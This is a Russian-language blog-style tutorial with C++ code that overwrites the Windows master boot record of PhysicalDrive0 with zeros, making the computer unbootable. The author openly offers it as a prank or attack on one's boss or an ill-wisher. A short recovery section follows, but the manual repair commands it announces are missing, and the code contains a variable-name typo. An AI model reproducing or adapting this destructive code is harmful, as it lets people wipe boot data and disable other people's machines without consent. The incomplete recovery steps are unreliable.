Сносим MBR недоброжелателю [C++]
http://t.me/Torchik_RuДоброго времени суток, господа. Сегодня займемся кодингом. Будем писать простенькую програмку для босса(ну или кого Вам там надо). В этот статье Вы осознаете всю тленность бытия и поймёте, что любая програ, необдуманно запущенная, может принести батхёрт. MBR можно легко восстановить. В конце статьи покажу как, а то вдруг еще на своём компе опробуете.
Я уверен в знаниях любого из Вас но лучше поясню. MBR - главная загрузочкая запись. Функция MBR — «переход» в тот раздел жёсткого диска, с которого следует исполнять «дальнейший код» (обычно — загружать ОС). На «стадии MBR» происходит выбор раздела диска, загрузка кода ОС (происходит на более поздних этапах алгоритма).
В процессе запуска компьютера, после окончания начального теста (Power-on self-test — POST), Базовая система ввода-вывода (BIOS) загружает «код MBR» в оперативную память (в IBM PC обычно с адреса 0000:7c00) и передаёт управление находящемуся в MBR загрузочному коду.
А теперь - кодить!
#include <windows.h>
#include <iostream>
using namespace std;
#define MBR_SIZE 512
int main() {
DWORD write;
char mbrData[MBR_SIZE]; //размер mbr - 512 байт. Они будут нами перезаписаны.
ZeroMemory(&mbrData, (sizeof mbrData)); //заполняем блок памяти нулями
HANDLE MasterBootRecord = CreateFile("\\\\.\\PhysicalDrive0", GENERIC_ALL, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING, NULL, NULL);
/* PhysicalDrive0 тут ноль а не буква "0". Мы открываем на запись и чтение наш раздел с MBR. Ниже записываем все говно в MBR */
if (WriteFile(MasterBootRecord, mbrData, MBR_SIZE, &wrire, NULL) == TRUE) {
cout << "MBR is over written!" << endl;
Sleep(5000);
ExitProcess(0);
} else {
cout << "Failed" << endl;
Sleep(5000);
ExitProcess(0);
}
CloseHandle(MasterBootRecord);
return EXIT_SUCCESS;
}
Скомпилили и запускаем.
Далеко не самое страшное окно. Оставим это Вам на доработку. Перезапускаемся и смотрим на результат.
Видим что система не может найти раздел MBR. Оно и не странно, там всё записано нулями. Изза того, что невозможно считать информацию из первых 512 байт харда система забивает большой и толстый болт и отказывается запускаться.
Восстанавливаемся
Прошу заметить, что процесс может отличаться на разных версиях Шиндовса.
Автоматический способ
Первое что надо - создать загрузочную флешку с Windows 7(а точнее с той виндой которая у Вас). Запускаемся с флешки.
После этого, в зависимости от используемого дистрибутива, вам может быть предложено включить сетевые возможности (не потребуются), переназначить буквы дисков (как хотите) и выбрать язык.
Следующим пунктом будет идти выбор Windows 7, загрузчик которой следует восстановить
Восстанавливаем запуск и радуемся.
Ручной способ
Грузимся в режиме командной строки и поочередно выполняем:
Эти команды заново запишут раздел жесткого диска и всё будет чики-пуки.